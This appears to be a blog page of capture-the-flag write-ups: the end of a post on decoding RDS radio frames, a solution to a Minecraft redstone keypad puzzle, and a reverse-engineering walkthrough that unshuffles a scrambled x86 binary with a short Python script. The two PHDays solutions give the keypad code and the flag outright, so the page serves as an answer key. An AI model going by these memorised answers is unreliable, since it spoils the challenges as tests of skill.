The checksum is a custom 10 bit CRC with polynomial 0x5B9 xored with a group identifier (a different identifier for group A to D). Additionally, there is a bunch of „syndromes” you can synchronize to, but I didn't bother understanding how that exactly works - you are somehow supposed to checksum all 26 bits of a group and watch for a bunch of checksums to appear. Instead what I did was to try to fill a 26-bit shift register with incoming bits, grab the upper 16 and treat them as data, and treat the lower 10 as the checksum. Then, I tried veryfying checksums with every possible group identifier until we got something that looked like a valid group. I then tried receiving four properly checked groups in order, one after the other. If that happened, then we got a fully valid frame, and we could feed that to a frame decoder. Crusty, but hey, it worked.

Frames, we have frames!
All that was left to do now was to parse frames. Each frame has 4 bits in group B that contain a frame type. All the frames I found in this stream were of type 2 - “RadioText”. Sounds promising! This type of frame carries four characters to be displayed at a certain offset on the 64-character display of a radio receiver. After some quit decoding, this is what we got:

Success!

Posted by at 3 comments:

PHDays CTF 4 Qualifications - Escape from Minecraft

Escape from Minecraft was one of the most surprising tasks at the PHDays CTF 4 Qualifications. In this task you were greeted by a tarball of a Minecraft world which, upon loading, presented you with the following scenario:

The door.
The keypad.
The logic. Oh gods.

At the heart of the puzzle was a 9-digit keypad, backed by a breathtaking amount of “redstone” logic. For those unfamiliar with the game mechanics, redstone is an ore, available in the game, used to create digital logic based on the core principle of NOR gates. Redstone ore can either be deposited on blocks to create “traces” or can be combined into torches, also placeable on blocks. Torches, at the most basic level, drive all neighbouring traces to a high level - if not driven by anything, traces remain at a low state. Additionally, when a torch is placed on a block, it will be te turned off (ie. stop powering adjacent traces) if any powered trace touches the block it is placed on. Can you see where this is going..? ;)

A torch powering some traces.
Two NOR gates, the upper with a single active input, the other with two inputs (one active).
A more compact NOR gate with an active output and two inactive inputs.
Based on these very simple rules (ie. a whole bunch of NOR gates) one can recreate nearly all forms of digital logic - logic gates, flip-flops, counters, even simple ALUs (arithmetic processing units) and processors!
An AND gate with two active inputs and, therefore, an active output.
RS Latch with inactive output.
RS Latch with active output.
Furthermore, a wide variety of game objects can interact with redstrone. There are levers which turn on traces but are flippable in game, buttons that power traces for a short amount of time when pushed, doors which open when a powered trace touches them, et caetera. Recent Minecraft updates also supplemented the arsenal of items with some more integrated redstone circuit elements, the most important one being the repeater. This device allows the signal to propagate past a limit of 7 blocks and also doubles as a diode, letting signals pass only in one direction.

Door and repeater activated by lever.
Let's get back to our puzzle. The player was free to navigate amongst the maze of traces, blocks and torches that made up the keypad logic. There were two main parts of the circuit, separated by a wall. The first one, which received nine inputs from the keypad and outputted four unknown signals into further parts of the lock, contained some relatively irregular-looking logic, thwarting efforts to analyze it statically . However, after some experiments with providing different input values manually (by placing torches in-line) it was clearly visible that the resulting signals contained a 4-bit encoding of the keypad value, with the lowest bit... lowest.

Decoding logic when 5 is pressed on the keypad.
Output of decoding logic when 5 is pressed on the keypad.
The next block of logic looks a lot more daunting, however it also seems very regular. After some basic examination, we can see that the 4-bit input forks off into two paths: one leads via a series of ORs and a pulse generator to a long, periodically repeated signal; the other path goes straight into a jungle of gates, which seem to treat each bit in parallel.

While observing carefully the first fork of the signal (the long, single line), we can observe that it goes straight into the end of the circuit, then goes back along to the 4-bit input - activating some sub-blocks of logic one-by-one, starting the farthest away from our input. Additionally, right after that signal is triggered, even before it hits the blocks farthest away, it triggers a bunch of flip-flops labelled by the creator of the level as “input register”, which latch the input from our keypad into them, and keep that data until the next digit entry. Based on all of this information, we will from now on refer to this signal as “clock”, as that's what it is - on each rising edge, it latches our keypad input into the input register, then proceeds into activating other part of the circuits.
Our “1010” (five) latched into the input register. Here, the visible traces are the inverse of the latched data.
A register in more detail. Clock input hidden behind.
Long clock signal, crude datapath of input bits.
Before continuing on with the rest of this part of the logic, let's look at the output stage for a second.  Obviously, we can see here a hierarchy of and gates, that take four inputs and return one output, which is then used to open the door (and lets us escape). A good guess here is that we need to meet four conditions in order to open the door - and these four conditions come from four different blocks of the logic we discussed previously.

Output AND gates.
Let's take a closer look at these four conditions to be met. All modules looks very similar - they take data from a register from the other side of the logic, and output, via an AND gate, a result into the output stage.
Our  condition-checking blackbox. Four inputs from the previous stage, and an output.
Let's take, again, a closer look at the logic that feeds input data into these four modules. After noticing that it is made up of four RS latch registers separated by AND gates which are triggered by the clock, we can now obviously see this as a four stage, 4-bit shift register, where each stage has its output connected to a condition checking stage.
Our 4-stage, 4-bit shift register.
What this means, is that we have to enter a four-digit code, so that it fills up the shift register and so that each digit meets a certain condition. Hopefully, if we do so, we will be able to open the door. What is left to do now is just to understand how to satisfy these per-digit conditions.

If we keep walking or flying around a condition-checking stage, we can see it is made out of four layers, each presumably checking one bit of the the digit. All of these layer-based conditions get ANDed together into the main output. Each layer has two torches visible - a left one, which seems to be just the output of the shift register for that digit, and the right one which seems to be hardwired on or off. What if we feed such a digit so that the pairs of torches match?
Feeding “9” into the first stage of the shift register. The binary representation matches the hardwired torches, and we get a positive output.
Success! We were able to decode a digit of the target code. Now we just need to read out the rest of the hardwired torches from the output stages:
  • D: 3
  • C: 5
  • B: 4
  • A: 9
And enter our newly found code (3549) into the PIN pad!

Freedom!
Posted by at No comments:

Tuesday, January 28, 2014

PHDQuals 2014 - miXer

The task consisted solely of a 32-bit executable provided by the organizers [0]. Once we loaded it into IDA, we could see the most interesting part (main function) did not look like valid x86 code:
 804845c:       e4 83                   in     al,0x83
 804845e:       f0 55                   lock push ebp
 8048460:       57                      push   edi
 8048461:       e5 53                   in     eax,0x53
 8048463:       81 56 89 0c 45 89 ec    adc    DWORD PTR [esi-0x77],0xec89450c
 804846a:       00 01                   add    BYTE PTR [ecx],al
 804846c:       8b 44 00 30             mov    eax,DWORD PTR [eax+eax*1+0x30]
 8048470:       00 00                   add    BYTE PTR [eax],al
 8048472:       89 24 a1                mov    DWORD PTR [ecx+eiz*4],esp
 8048475:       65 00 84 14 1c c7 c0    add    BYTE PTR gs:[esp+edx*1+0x44c0c71c],al
Obviously, we had to fix it. Since the name of challenge was miXer, we thought we probably had to xor it with some key to obtain the original code. We could guess correct the first bytes based on the opcodes of a typical function prologue: 

 55                    push   ebp
 89 e5                 mov    ebp,esp
Assuming the key was four bytes long, we started to brute-force the last byte... but it didn't yield any valid results. Therefore, we took a closer look at the numeric byte values and realized that the opcodes were not really modified, only shuffled around using a specific pattern: the fourth byte should be the first one, the tenth should be second and the sixth should be third. Now, we had to move the remaining bytes around in the right way to end up with proper function code.

We could make further progress by taking advantage of the fact that gcc tends to align stack to 16 bytes at the beginning of function execution with the following instruction:

83 e4 f0 and esp,0xfffffff0 

At this point, we are left with four more bytes within the first 10-byte block: 53, 56, 57 and 81. The 81 byte is the first opcode of "sub esp, xxx" - a stack allocation, and the rest stand for "push ebx", "push esi" and "push edi", respectively. We could determine the order by investigating common function prologues, until we found the following one which matched: 
 55                    push   ebp
 89 e5                 mov    ebp,esp
 57                    push   edi
 56                    push   esi
 53                    push   ebx
 83 e4 f0              and    esp,0xfffffff0
 81 ec 30 04 00 00     sub    esp,0x430

If we assume that the entire function bytes are shuffled in 10-byte blocks, each in the exact same order as the first (recovered) one, we end up with the following solution in Python:

TEXT_START = 0x8048370
MAIN_BEG = 0x804845c - TEXT_START + 0x00370
MAIN_END = 0x8048830 - TEXT_START + 0x00370
with open('/tmp/miXer.elf.5f96dea48b8c8ab66898e902d3c98b82') as f:
  data = f.read()
code = data[MAIN_BEG:MAIN_END]
data2= list(data)
flip = lambda x: (x[1],x[0])

ctable = dict(map(flip,enumerate(code[:10])))
ctable = [ ctable[c] for c in "\x55\x89\xe5\x57\x56\x53\x83\xe4\xf0\x81"]
for i in range(len(code)/10):
  for j in range(10):
     data2[MAIN_BEG+i*10+j] = code[i*10+ctable[j]]
with open('/tmp/mixfix.bin','w') as f: f.write(''.join(data2))

Let's see if it works:

[mak@localhost tmp]$ python2 x.py 
[mak@localhost tmp]$ chmod +x mixfix.bin 
[mak@localhost tmp]$ ./mixfix.bin  ; echo
y0ur.f1rst.fl4g
[mak@localhost tmp]$

Done, +2000pts. :)
[0] http://shell-storm.org/repo/CTF/PHDays-Quals-2014/MiXer-2000pts/
Posted by at No comments:
Subscribe to: Posts (Atom)